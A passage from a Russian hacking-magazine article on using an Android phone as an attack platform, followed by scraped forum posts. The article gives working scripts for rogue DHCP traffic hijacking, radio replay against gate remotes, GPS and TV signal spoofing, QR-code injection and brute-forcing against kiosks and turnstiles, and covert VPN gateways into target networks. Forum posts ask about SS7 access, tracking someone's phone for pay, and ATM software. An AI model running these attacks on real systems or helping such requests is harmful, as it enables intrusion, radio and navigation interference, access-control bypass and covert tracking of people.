Поскольку адаптер сетевой карты может быть уже сконфигурирован, придется сначала слушать трафик, чтобы понять, какой IP-адрес занять атакующему. В этом случае устройство жертвы не запрашивает настройки по DHCP, а значит, здесь не провернуть трюк с перекрытием сетевых маршрутов. Ведь с BadUSB-ETH каждый раз создается новый интерфейс, который конфигурируется автоматически.

eth/attack.sh​

Bash:Copy to clipboard

#!/bin/bash
GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'
#~/gui.sh
sudo dnsmasq --conf-file=dnsmasq-attack.conf -d -p0
function change_network(){
  ip="$1"
  table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f 5)
  sudo ip a add "${ip%.*}.1/24" dev eth0
  sudo ip r add "${ip%.*}.0/24" dev eth0 table $table
  sudo ip rule add to "${ip%.*}.0/24" lookup $table
}
for script in $(find on_network/ -type f -perm -u+x)
do
  exec sudo $script eth0 "" &
done
rm /tmp/eth_attacks.txt 2> /dev/null
while :
do
  ip=$(sudo tcpdump -i eth0 -nn -c 1 arp 2> /dev/null | awk '{print $7}' | cut -d ',' -f 1)
  egrep -q "^$ip$" /tmp/eth_attacks.txt 2> /dev/null && continue || echo "$ip" >> /tmp/eth_attacks.txt
  read -p "$ip ?" ok
  [[ "$ok" != 'y' ]] && continue
  change_network "$ip"
  for script in $(find on_client/ -type f -perm -u+x)
  do
    exec $script $ip "" "${ip%.*}.1" &
  done
done

Перед атакующим может быть как настроенный, так и не настроенный Ethernet- интерфейс, поэтому приведенный выше скрипт пробует сначала сконфигурировать устройство по DHCP, а потом поймать пакет с уже назначенным сетевой карте IP- адресом. Скрипт пробует подстроиться под любую адресацию — навязанную им или уже используемую устройством.

Предлагаемая конфигурация по DHCP при этом следующая:

eth/dnsmasq-attack.conf​

Code:Copy to clipboard

domain=fake.net
interface=eth0
dhcp-range=11.0.0.100,11.0.0.110,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
dhcp-option=6,8.8.8.8,8.8.4.4
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1

Этот конфиг также использует трюк с перекрытием маршрутов, вытягивая трафик других сетевых интерфейсов в телефон. В случае успеха атакующий, аналогично BadUSB-ETH, перекрывает другие сетевые интерфейсы и перехватывает их трафик, а также проверяет уязвимости, как показано на рисунке.

Телефон автоматически атакует компьютер через Ethernet- порт
В конечном счете на устройстве будет запущен весь атакующий арсенал через скрипты on_network/on_client, подробно описанные в статьях про BadUSB-ETH, Pineapple и Karma. Таким образом, используя смартфон и любую сетевую карту USB, мы можем добиться эффекта устройства Shark Jack.

Сниффинг​

Если же перед атакующим не розетка Ethernet, а лишь провод, он может применить к нему полудуплексное прослушивание трафика, то есть прослушивание половины трафика — либо входящий, либо исходий. Это уже знакомая атака, представленная в статье «Крококряк. Снимаем трафик с витой пары обычными „крокодилами“». К оранжевой либо зеленой паре подключаются зажимы, а обратный конец идет напрямую в сетевую карту USB.

Телефон снимает трафик с провода витой пары посредством «крокодилов»
Сама атака требует некоторой ловкости рук и реализуется менее чем за минуту.

SDR​

Программное радио (SDR), например HackRF One, можно также подключить к телефону. И в этой атаке вновь не требуются особые драйверы. Для базовых функций есть даже мобильное приложение.

Прослушивание радиоэфира с помощью SDR
HackRF — самый доступный полудуплексный SDR, который позволяет как принимать, так и отправлять радиосигнал на частотах в большом диапазоне — от 1 МГц до 6 ГГц. При этом форма сигнала (модуляция, ширина канала) полностью задается программно. Это открывает огромные возможности для взаимодействия с радиосигналами. Например, можно изучить любой радиосигнал, а затем воссоздать его в нужном виде.

Разумеется, с телефона крайне неудобно ресерчить радиосигнал, анализировать его форму, угадывать способ кодирования, а потом пытаться модулировать его обратно из двоичного кода. Оставим это для компьютера. Но некоторые радиоатаки достаточно просты, хорошо автоматизированы и могут быть выполнены с телефона.

Гаражные ворота, сигнализации, даже управление автоматикой на предприятии — вот далеко не полный список устройств, которые могут быть атакованы с помощью SDR. Рассмотрим некоторые из самых простых атак.

Replay​

Очень простой атакой, удобно реализуемой с телефона, может быть replay-атака — запись радиосигнала и его последующее воспроизведение (подобно диктофону):

sdr/record.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq
[[ $# -ge 2 ]] && dumpfile="$2" || dumpfile="/sdcard/out-$(date +'%d.%m.%Y_%H:%M:%S').wav"
[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]
echo "$dumpfile"
sudo hackrf_transfer -a 1 -s $RATE -f "$freq" -r "$dumpfile" -l 40 -g 62

sdr/play.sh​

Bash:Copy to clipboard

#!/bin/bash

[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq
[[ $# -ge 2 ]] && dumpfile="$2" || read -p 'dumpfile: ' dumpfile
[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]

sudo hackrf_transfer -a 0 -s $RATE -f "$freq" -t "$dumpfile" -x 47

sdr/replay.sh​

Bash:Copy to clipboard

#!/bin/bash

[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq
dumpfile="/sdcard/out-$(date +'%d.%m.%Y_%H:%M:%S').wav"
[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]

./record.sh "$freq" $dumpfile
read -p 'replay?' continue
./play.sh "$freq" $dumpfile

Передача радиосигнала, как правило, никак не ограничивается в пространстве. Если радиосигнал не содержит криптографических функций или меняющихся последовательностей, то он может быть записан и воспроизведен атакующим в нужный момент.
Открытие шлагбаума — это одна из самых безобидных и простых вещей, которые можно сделать подобным образом.

Запись радиосигнала от беспроводного брелока для открытия ворот
И далее атакующий уже сам может управлять техникой.

Открытие ворот с использованием записанного радиосигнала
Если подобные вещи можно проделывать с промышленной техникой, то это уже не выглядит как простая забава. Аналогично для более сложных радиоатак может быть запущен заранее приготовленный gnuradio-скрипт. Например, для угона радиоуправляемой техники.

GPS spoofing​

Радиосигнал со спутника, по мощности сопоставимый с обычной лампой накаливания, доходя до земли с высоты 20 тысяч километров значительно ослабевает, и его мощность становится в 100 раз ниже уровня радиошума. Это дает хорошую техническую возможность перебить и подделать сигнал даже не самым мощным оборудованием.

Спутники системы GPS были запущены в космос почти полвека тому назад. В те времена люди еще не думали о компьютерной безопасности, а сейчас спутники уже не вернешь. С помощью SDR атакующий может подделать сигнал от спутников GPS и вместе с ним задать произвольную текущую координату:

sdr/gps/spoofing.sh​

Bash:Copy to clipboard

#!/bin/bash
trap 'echo interrupted' INT
[[ $# -ge 1 ]] && lat="$1" || read -p 'latitude: ' lat
[[ $# -ge 2 ]] && lon="$2" || read -p 'longitude: ' lon
DURATION=$[2*60]
RATE=2600000
FREQ=1575420000
/opt/gps-sdr-sim/gps-sdr-sim -b 8 -d $DURATION -e /opt/gps-sdr-sim/brdc0010.22n -o /sdcard/gpssim.bin -l $lat,$lon,0
sudo hackrf_transfer -a 0 -s $RATE -f $FREQ -t /sdcard/gpssim.bin -x 20 -R
#git clone https://github.com/osqzss/gps-sdr-sim; cd gps-sdr-sim; make

В качестве примера с расстояния нескольких метров телефон телепортируется в Дубай.

Телефон с помощью SDR успешно телепортирует другой телефон
На самом деле геопозиционирование современных мобильных телефонов достаточно умное и выполняется не только по спутниковым системам, где, помимо GPS, есть еще ГЛОНАСС, Galileo и BeiDou, но и по наземным источникам сигналов — сотовым вышкам, точкам доступа Wi-Fi и встроенным датчикам. А современное программное обеспечение умеет определять попытки «телепортации», поэтому сдвигать локацию лучше плавно по нескольку сотен метров.

Зато автономные GPS-модули более подвержены такой атаке. Позиционирование в квадрокоптерах или технике посерьезнее не руководствуется наземными источниками сигналов, которых в воздухе или море особо‑то и нет.

Импакт от подделки координат может быть самый разнообразный, начиная автоматической посадкой и угоном дронов и заканчивая воздействием на более внушительные транспортные средства. Например, злоумышленник, плывущий на корабле, который движется на автопилоте и ориентируется по спутникам, теоретически вполне может, манипулируя с GPS, заставить его повернуть в любую сторону.

Вообще, по GPS синхронизируется сначала не местоположение, а время. И время тоже можно подделать. Если установить неправильное время, на уязвимом устройстве ломается весь SSL-трафик, что при некоторых обстоятельствах может привести к отказу в обслуживании.

DMR decode​

Другим примером использования SDR может быть перехват переговоров c использованием раций. Многие рации передают голос открыто, не обеспечивая никакого скремблирования. Многие, полагаю, слышали чужие переговоры на дешевых китайских рациях.

Для перехвата переговоров атакующий может выбрать открытый диапазон частот, на котором работает большинство раций, — около 433 МГц — и выставить FM- демодуляцию.

Телефон с помощью SDR фиксирует сигнал от рации
Многие SDR умеют еще и передавать сигналы. Используя gnuradio-схему на рисунке ниже, атакующий может отправить аудиосообщение на такую рацию.

Схема кодирования аудиофайла в частотной модуляции (FM) для отправки по радио
С применением такой схемы можно отправлять сигналы не только в рацию, но и на обычные FM-радиоприемники, вмешиваясь в радиоэфир.

Не все рации передают голос в открытом виде. Те, в которых используется кодирование, тоже могут быть прослушаны:

Code:Copy to clipboard

apt install pulseaudio-utils
git clone https://github.com/szechyjs/dsd; cd dsd; cmake --build build
socat udp-listen:7355 - | padsp /opt/dsd/build/dsd -i - -o /dev/dsp

На практике мне встречались рации, в настройках которых было активировано скремблирование, однако голос они все равно передавали в открытом виде.

Как это может применить злоумышленник? Представь, что охрана использует рации для координации своих действий. Потенциальный злодей, желающий проникнуть на закрытую территорию, чтобы разместить там свою аппаратную закладку, может таким образом прослушивать переговоры охраны. А какой эффект он получит, если отправит охранникам ложное сообщение?

TV spoofing​

Телевизионный сигнал также можно атаковать с помощью SDR-устройств. В зависимости от типа телевещания злоумышленник может воспользоваться специальным открытым ПО и сгенерировать модулированный сигнал, заглушив им оригинальный источник телетрансляции. Правда, стоит иметь в виду локальный характер атаки, покрывающий относительно небольшую территорию. Но учитывая, что атака может выполняться с помощью всего лишь двух карманных устройств (HackRF и телефона), злоумышленник в состоянии компенсировать этот недостаток, подойдя максимально близко к целям.

Аналоговое ТВ​

Используя SDR и следующее ПО, можно модулировать любой видеофайл в сигнал аналогового ТВ:

Code:Copy to clipboard

git clone https://github.com/fsphil/hacktv
hacktv -o output.bin -f 512000000 -s 8000000 -m ntsc input.mp4
hackrf_transfer -a 0 -s 8000000 -f 512000000 -t output.bin -x 47

Цифровое эфирное ТВ (DVB-T)​

Используя SDR и следующее ПО, можно модулировать любой видеофайл в сигнал цифрового эфирного ТВ:

Code:Copy to clipboard

git clone https://github.com/drmpeg/dtv-utils
ffmpeg -i test.mp4 -vcodec copy -c:v 'mpeg2video' in.mp4
python3 dvbt-blade.py -f 674000000 in.mp4

Цифровое спутниковое ТВ (DVB-S)​

Точно так же злоумышленник может поступить и со спутниковым ТВ, транслируя с помощью доступного ПО любой видеофайл:

Code:Copy to clipboard

git clone https://github.com/drmpeg/gr-dvbs
./dvbs_tx_hackrf.py

Возможность подделать теле- и радиосигнал может иметь весьма внушительный импакт. Вообще, тема использования SDR невероятно обширная и заслуживает отдельной книги. Здесь же я привожу лишь несколько самых простых и известных атак, реализация которых не требует долгой настройки.

QR​

Мобильный телефон удобно использовать для атак на QR-считыватели.

С QR-кодами атакующий может сделать, в общем‑то, немало:

Сгенерировать QR-код для чего угодно можно с помощью соответствующей Python- библиотеки и консоли:

Code:Copy to clipboard

pip3 install qrcode
qr --ascii "test"   # Для текстовых данных
cat data.bin | qr --ascii   # Для двоичных данных

Чтобы сгенерить QR-код прямо в консоли в интерактивном режиме или принимая данные от других скриптов, можно использовать небольшой сценарий:

qr/encode.sh​

Bash:Copy to clipboard

#!/bin/bash

clear
qr 2> /dev/null

Все, что он делает, — предварительно очищает экран, чтобы код рисовался на одной и той же области дисплея телефона. После этого генерит QR-код, ожидая данные в sdtin.

Но если атакующий собирается что‑то фаззить или брутить, то ему нужен эталонный образец данных из QR-кода. Для декодирования проще всего использовать любое мобильное приложение, специально предназначенное для этого. Некоторые телефоны умеют это делать даже встроенной камерой. Но для фанатов консоли и автоматизации можно воспользоваться Linux-распознавалкой QR-кодов:

qr/decode.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && out="$1" || out='data'
CAM=0
photo=$(~/android/camera.sh $CAM)
convert "$photo" -resize '20%' /tmp/qr.jpg
if zbarimg --raw --oneshot -Sbinary /tmp/qr.jpg > "$out" 2> /dev/null
then
    xxd < "$out"
    echo '' >> "$out"
fi
rm /tmp/qr.jpg
rm "$photo"

Скрипт, используя Termux-API, делает снимок камерой, сжимает изображение и выполняет распознавание с помощью утилиты zbarimg. Для дальнейшего использования раскодированные данные сохраняются в файл.

Далее, задействовав простейший цикл на Bash, можно запустить уже перебор некоторых значений, зашифрованных в QR-коде:

qr/brute.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && iters="$1" || iters=100
for ((i=0; i<$iters; i++))
do cat data | sed -rn "s/.$/$i/p" | encode.sh
done

Такой код просто меняет последний символ от 0 до 100.

Турникет, использующий для идентификации QR- коды
Теоретически вполне допустимо, что система для контроля доступа руководствуется порядковыми номерами. Злоумышленник, сфотографировав чей‑то QR-код, может попробовать перебрать такие порядковые номера в надежде угадать код и обойти тем самым контроль доступа.

Часто бывает, что в QR-коде зашифрована обычная URL-строка или ее фрагмент. Например, почти во всех магазинах можно встретить вот такие терминалы, ожидающие идентификатор товара.

Идентификатор товара явно подставляется в SQL- запрос
Такие терминалы — потенциальная точка проникновения: данные, которые вводятся посредством кодировки QR, могут небезопасно подставляться в базы данных и быть уязвимы к SQL-инъекциям или к прямому внедрению команд ОС.

С помощью следующего нехитрого скрипта можно прогнать какой‑нибудь словарь, узко заточенный под ту или иную уязвимость.

qr/injection.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && wordlist="$1" || read -p 'wordlist: ' wordlist
TIMEOUT=0.5
cat "$wordlist" | while read payload
do
  echo -n "$(cat data)${payload}" | encode.sh
  sleep $TIMEOUT
done

Что касается товаров, то обычно в QR-коде зашифровано только значение, а не весь URL целиком, поэтому скрипт просто дописывает payload в конце. Впрочем, в QR-коде может быть зашифровано вообще что угодно — URL или длинная hex-строка.

Слегка изменив цикл, можно запустить мутационный фаззинг с помощью radamsa:

qr/fuzz.sh​

Bash:Copy to clipboard

#!/bin/bash
MAX_SIZE=200
TIMEOUT=0.5
out=_$RANDOM
mkdir $out
for ((i=1; i>0; i++))
do
 cat data | radamsa -n 1 | cut -b 1-$MAX_SIZE > $out/$i
 ./encode.sh < $out/$i
sleep $TIMEOUT
done

Фаззер radamsa случайным образом искажает эталонные данные в исходном QR-коде. Он умеет распознавать простейшие структуры, такие как строки и числа, а также имеет мощный мутационный движок и выполняет тестирование на ошибки при работе как с текстовыми данными или юникодом, так и с двоичными данными. Это открывает атакующему возможность всего за несколько секунд приступить к фаззинг‑тестированию, даже не вникая в подробности типов данных, зашифрованных в QR-коде.

На рисунке ниже наглядно показано, как QR-считыватель начинает принимать искаженные данные.

Фаззинг закодированных в QR данных
На одном из вендинговых автоматов по продаже еды подобным фаззингом удалось добиться выполнения произвольной команды ОС и вызвать калькулятор, предварительно повернув экран на 90° и спровоцировав несколько ошибок в ПО.

POST​

Телефон можно использовать не только для атак, но и как средство предоставления доступа. Например, сидя на ресепшене, атакующий может расшарить через VPN свой mon-интерфейс для атак на Wi-Fi, тем самым предоставив доступ к беспроводным сетям напарникам, ведь им с ноутбука работать все равно удобнее. Это, кстати, уже было продемонстрировано в статье «Грозный ананас. Собираем и применяем свой Wi-Fi Pineapple».

Более того, так как телефон имеет встроенный 4G, он может использоваться еще и как шлюз для скрытого подключения к атакуемой сети. В этом случае с помощью VPN, открытого через 4G на телефоне, можно организовать линк в атакуемую сеть из любой точки мира.

Сначала требуется настроить на телефоне сам VPN. Проще всего его реализовать с помощью OpenVPN. Для максимального удобства маршрутизации лучше использовать L2-туннель (tap). Такой туннель позволяет атакующим находиться на расстоянии одного хопа для удобства маршрутизации. Однако соответствующее приложение для Android не предоставляет возможности использовать туннель в форме L2. Но его поддержка присутствует в ядре, и его можно использовать, просто добавив соответствующее символьное устройство:

vpn.sh​

Bash:Copy to clipboard

#!/bin/bash
if [ ! -r /dev/net/tun ]; then
        sudo mkdir /dev/net
        sudo mknod /dev/net/tun c 10 200
fi
set -m
sudo openvpn --config ~/vds.ovpn --route-noexec &
while ! ip r | grep tap0; do sleep 1; done
table=$(ip r show table all|grep tap0|grep table|grep -v local|head -n 1|cut -d ' ' -f 5)
sudo ip r add 172.16.0.0/24 dev tap0 table $table
sudo ip rule add to 172.16.0.0/24 lookup $table
echo "tap0 table: $table"
#sudo ip r add 192.168.0.0/16 via 172.16.0.30 table $table
#sudo ip rule add to 192.168.0.0/16 lookup $table
fg %
sudo ip rule del to 172.16.0.0/24 lookup $table

Использование такого туннеля упрощает дальнейшую маршрутизацию к сетям или устройствам, к которым подключен хакерский телефон.

Теперь чуть более подробно расскажу о каждом сценарии.

POST-wlan​

Посмотрим, как может быть выполнена организация удаленного доступа к Wi-Fi через телефон.

Все, что нужно сделать, — это немного изменить маршрутизацию на телефоне, чтобы пакеты с VPN начали заходить в атакуемый Wi-Fi. На Android маршрутизация не прописывается в дефолтную таблицу main, как это обычно бывает. Вместо этого для каждого интерфейса автоматически формируется своя таблица (ip r show table all), для связи с которой создается дополнительный набор правил (ip rule show all). Эти правила часто включают условия маркировки пакетов при помощи встроенного файрвола, с использованием еще более гибких правил (iptables -t mangle -vnL).

В итоге это все та же маршрутизация Linux, но сильно разбитая по таблицам, что немного усложняет понимание общей картины. Но все, что требуется знать, — какой номер таблицы у нужного интерфейса. Затем нужно добавить в эту таблицу необходимые маршруты и прописать для них соответствующее правило, указывающее на эту таблицу:

wifi/gw.sh​

Bash:Copy to clipboard

#!/bin/bash
table=$(ip r show table all | grep wlan0 | grep table | grep -v local | head -n 1 | cut -d ' ' -f 7)
sudo ip rule add iif tap0 lookup $table
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o wlan0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP

Теперь, просто подключившись по Wi-Fi к целевой сети, телефон злоумышленника станет шлюзом для его коллег, которые могут заняться дальнейшим продвижением, пока тот безобидно сидит в холле или идет по территории, преодолев контрольно‑пропускной пункт. На удаленном компе нужно лишь указать маршрут до интересующей сети через IP-адрес телефона на VPN:

Code:Copy to clipboard

route add -net 192.168.0.0/16 gw $mobile

POST-usb​

Подключив телефон по USB к компьютеру, злоумышленник может получить к нему скрытый сетевой доступ, активировав уже известные по BadUSB- ETH USB-гаджеты. Для этого требуется изменить маршрутизацию телефона для прохождения пакетов от VPN в сторону компьютера по USB:

badusb/eth/gw.sh​

Bash:Copy to clipboard

#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cd /sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration
sudo ln -s functions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq.conf -p0
sudo tcpdump -i rndis0 -nn -c 1 # waiting a connection
sleep 1
sudo ifconfig rndis0 up
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip r add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
read -p 'press Enter when finish' stop
sudo iptables -A tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
sudo iptables -t nat -D tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo killall dnsmasq
#sudo ip rule del from all iif lo oif rndis0 lookup 97
sudo ip rule del to 192.168.42.0/24 lookup 97

Здесь запускается эмуляция сети по USB. Далее комп запрашивает у телефона настройки сети по DHCP, и в этот момент нужно выдать ему скрытую конфигурацию без указания шлюза, чтобы не нарушить изначальную маршрутизацию:

badusb/eth/dnsmasq.conf​

Code:Copy to clipboard

domain=fake.net
interface=rndis0
dhcp-range=192.168.42.100,192.168.42.110,24h
dhcp-option=1,255.255.255.0

Теперь с помощью такого телефона, подключенного по USB, через VPN можно получить удаленный сетевой канал до компьютера и воспользоваться этим для развития последующих атак или контроля над компьютером.

Подобного эффекта, но в ином форм‑факторе можно также добиться с помощью 4G-модема, описанного в статье «Опасный модем. Закрепляемся в атакованной системе при помощи USB-модема».

POST-ETH​

Аналогично можно использовать телефон и для предоставления удаленного доступа к локальной сети по проводу. Ранее в этой статье уже рассматривались варианты использования внешнего Ethernet-адаптера. Приведенный ниже скрипт немного переконфигурирует сетевые настройки телефона так, чтобы трафик с VPN- интерфейса мог пойти в подключенный Ethernet-адаптер:

eth/gw.sh​

Bash:Copy to clipboard

#!/bin/bash
vpn=$(ip r|grep -e tun0 -e tap0|grep src|cut -d ' ' -f 3)
table=$(ip r show table all|grep eth0|grep table|grep -v local|head -n 1|cut -d ' ' -f 5)
#sudo ip r add 192.168.0.0/16 via 192.168.9.1 table $table
#sudo ip rule add to 192.168.0.0/16 lookup $table
sudo ip rule add iif $vpn lookup $table
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o eth0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP

Закрепление может выглядеть так, как показано на рисунке ниже.
Телефон в режиме шлюза предоставляет сетевой доступ по VPN во внутреннюю сеть через Ethernet
Тот, кто получает подобный доступ в локальную сеть через телефон, работает с куда большим комфортом, чем сам злоумышленник с телефоном без физической клавиатуры. Но ничто не мешает подключить ее и использовать смартфон для полноценных атак в локальной сети уже самостоятельно, прямо с мобилы.
Телефон превращается в полноценное рабочее место атакующего
Даже если у внутреннего нарушителя нет ноутбука, но есть телефон, то он ничуть не менее опасен.

ВЫВОДЫ​

Реальный взлом со смартфона или любого другого устройства может не отличаться от того, что показано в играх или в кино. Единственное отличие — время, которое занимает атака. В зависимости от сложности реальной системы, для проникновения могут потребоваться часы, дни или даже месяцы. Тем не менее любая из представленных атак осуществима.

В этой статье и в материале «Киберфон. Превращаем телефон на Android в инструмент хакера» наглядно продемонстрировано, что злоумышленник с телефона может реализовать не только общие атаки, но и специфичные, воспроизводимые только с телефона или специального оборудования. Сама по себе эта статья не про атаки, а про их реализацию на самой неприметной платформе — телефоне. Существует ли какая‑то защита от этих атак, если телефон сейчас есть абсолютно у каждого?

Когда ты защищаешь какой‑то критичный объект, возможно, будет нелишним ограничить использование телефонов. Таким образом, меры защиты от подобных атак сводятся к физическому контролю доступа посторонних лиц, а также к ограничению использования телефона в тех зонах, где расположены критичные объекты информационной инфраструктуры.

Этой статьей мы закрываем серию публикаций, посвященных приемам взлома и физическим атакам с использованием подручных устройств. Цикл, начатый в январе этого года и воплощенный в десятке статей, затронул множество примеров атак и устройств.

Изначально, опираясь лишь на общедоступные устройства, изображенные в центре графа, злоумышленник превращает их в хакерские инструменты. И далее каждый из них с использованием той или иной технологии дает ему возможность развивать необходимые атаки. В итоге подобным образом достигаются самые разнообразные эффекты: от безобидного отказа в обслуживании до полного контроля над целью.

На протяжении всего цикла статей мы ни разу не воспользовались для атак ноутбуком и тем самым продемонстрировали, что компьютер — далеко не единственный инструмент потенциального злоумышленника.

Автор s0i37
источник xakep.ru

SS7
ID: 676535aeb4103b69df3735d7
Thread ID: 89070
Created: 2023-05-27T21:20:43+0000
Last Post: 2023-06-13T12:47:49+0000
Author: k1ddddos
Replies: 9 Views: 1K

Здравствуйте! Можно ли получить доступ к протоколу ss7? И как это можно воплотить?

Вопрос про зарядки-провода
ID: 676535aeb4103b69df3735e6
Thread ID: 72507
Created: 2022-08-31T18:59:40+0000
Last Post: 2023-04-19T11:18:56+0000
Author: Tesla
Replies: 20 Views: 1K

Возможно нубский вопрос, но решу все же спросить. Допустим есть одна зарядка с одним и тем же проводом, оставляет ли она какие то идентификационные следы в смартфонах. Или может вопрос зависит от производителей, где то да, а где то нет?

PI 0 W - pwngochi
ID: 676535aeb4103b69df3735e8
Thread ID: 85050
Created: 2023-04-02T12:37:00+0000
Last Post: 2023-04-13T07:42:48+0000
Author: frdy
Replies: 18 Views: 1K

Друзья! Добрый день.
Пытаюсь уже месяц собрать pwngochi (https://pwnagotchi.ai/);
Началось все с того, что захотелось покапатся с популярными железками, которые долгое время обходили меня стороной. Собственно искал что-то прикладное и интересное лично для себя. Нашел данный проект, прилично ахуел с того как подпрыгнули цены, но делать нечего как ни крути дело копеечное. Заказал pi 0 2 w - прождал 2 недели, приехал. Записал образ сую в плашку - не включается. Индикатор не горит - на плате питание есть, обрывов нет. Процессор греется. Прогрел паяльным феном, не помогло. Выкинул.
Пошел заказывать новую, заказал pi 0 w. Ждал еще 2 недели. Приехала, слава богу работает :) Записал флешку, воткнул, воткнул usb в power+data. Комп обнаружил устройство, wired соединение.
Собственно с ним и проблема: wired постоянно обрубается на попытке получить ип адресс.
Пересмотрел кучу гайдов, по headless настройке. Добавлял фаилы в boot, редачил конфиги, запускал на вин ноуте. Проблема одна, ни какого тебе ip v4. Cоответственно и ни какого ssh доступа.

Взял hdmi, подключил к монитору - загрузился kali. Клавиатуры нету :) Хочу решить именно в headless режиме. Есть кто с опытом?

ip a

Code:Copy to clipboard

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: wlo1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether a2:02:b2:a2:b2:f2 brd ff:ff:ff:ff:ff:ff
    altname wlp1s0
    inet 192.168.43.221/24 brd 192.168.43.255 scope global dynamic noprefixroute wlo1
       valid_lft 2676sec preferred_lft 2676sec
    inet6 fe88::4b78:ef98:ad78:a7e8/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
45: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.14.0.2/16 scope global tun0
       valid_lft forever preferred_lft forever
46: enxfa1166c4db52: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether fa:1a:6a:ca:da:5a brd ff:ff:ff:ff:ff:ff
    inet6 fe88::3844:f188:3cb8:d6b8/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Непосредственно в pwngochi прошивке нашел папку с левым логином в директории /home/ в passwd/shadow еще не смотрел ;-)

Базовая станция на основе двух HackRF?
ID: 676535aeb4103b69df3735e9
Thread ID: 84500
Created: 2023-03-26T00:33:32+0000
Last Post: 2023-04-11T16:48:26+0000
Author: b0tk1ng
Prefix: GSM
Replies: 11 Views: 1K

Здравствуйте, хакрф полудуплексная sdr платформа з bandwidth 24 mhz, она не может быть полноценной базовой станцией из-за таких ограничений, но что если взять две хакрф, синхронизировать их и в теории получить полно дуплексную систему из двух плат и з диапазоном 48mhz, и при этом всем вся эта затея будет стоит дешевле чем покупать уже готовые решения, я не эксперт в этой области но мне кажется что можно заставить это работать з GNU radio. Эксперты ваше мнение очень нужно сейчас

Трекер на телефон.
ID: 676535aeb4103b69df3735f3
Thread ID: 80104
Created: 2023-01-16T19:41:58+0000
Last Post: 2023-03-10T09:39:27+0000
Author: boar2022
Prefix: GSM
Replies: 15 Views: 1K

Добрый вечер.
Помогите с маленькой проблемой.
Какой сервис может показать где был мобильный телефон за день.
Если постоянно геолацию отключают.
По мобильным вышкам можно определить?
Если кто поможет за мной не заржаваеет через гарант. Пишите в личку.

Finding ATM Software / Поиск программного обеспечения банкомата
ID: 676535aeb4103b69df3735f6
Thread ID: 59646
Created: 2021-12-03T23:28:02+0000
Last Post: 2023-02-20T13:47:33+0000
Author: venturabay
Replies: 3 Views: 1K

Hello all, I'm currently in the process of reverse engineering some aspects of NCR / Hyosung ATMs. For anyone who hasn't researched the field yet, most of them run outdated versions of Windows with some bad endpoint protection built in a small fraction of the time. That being said, it's really difficult to find any documentation on them. I managed to pull up an operators manual which was really helpful, but I wanted to test out some ideas on the actual ATM software. My idea is to make a Windows 7 VM and put the ATM software onto it. With that being said, does anybody have or could point me in the right direction for an ATM's software. Any brand / model works. Help is very appreciated. I've heard that people who own ATMs can just get the software from some website but I'm not totally sure.

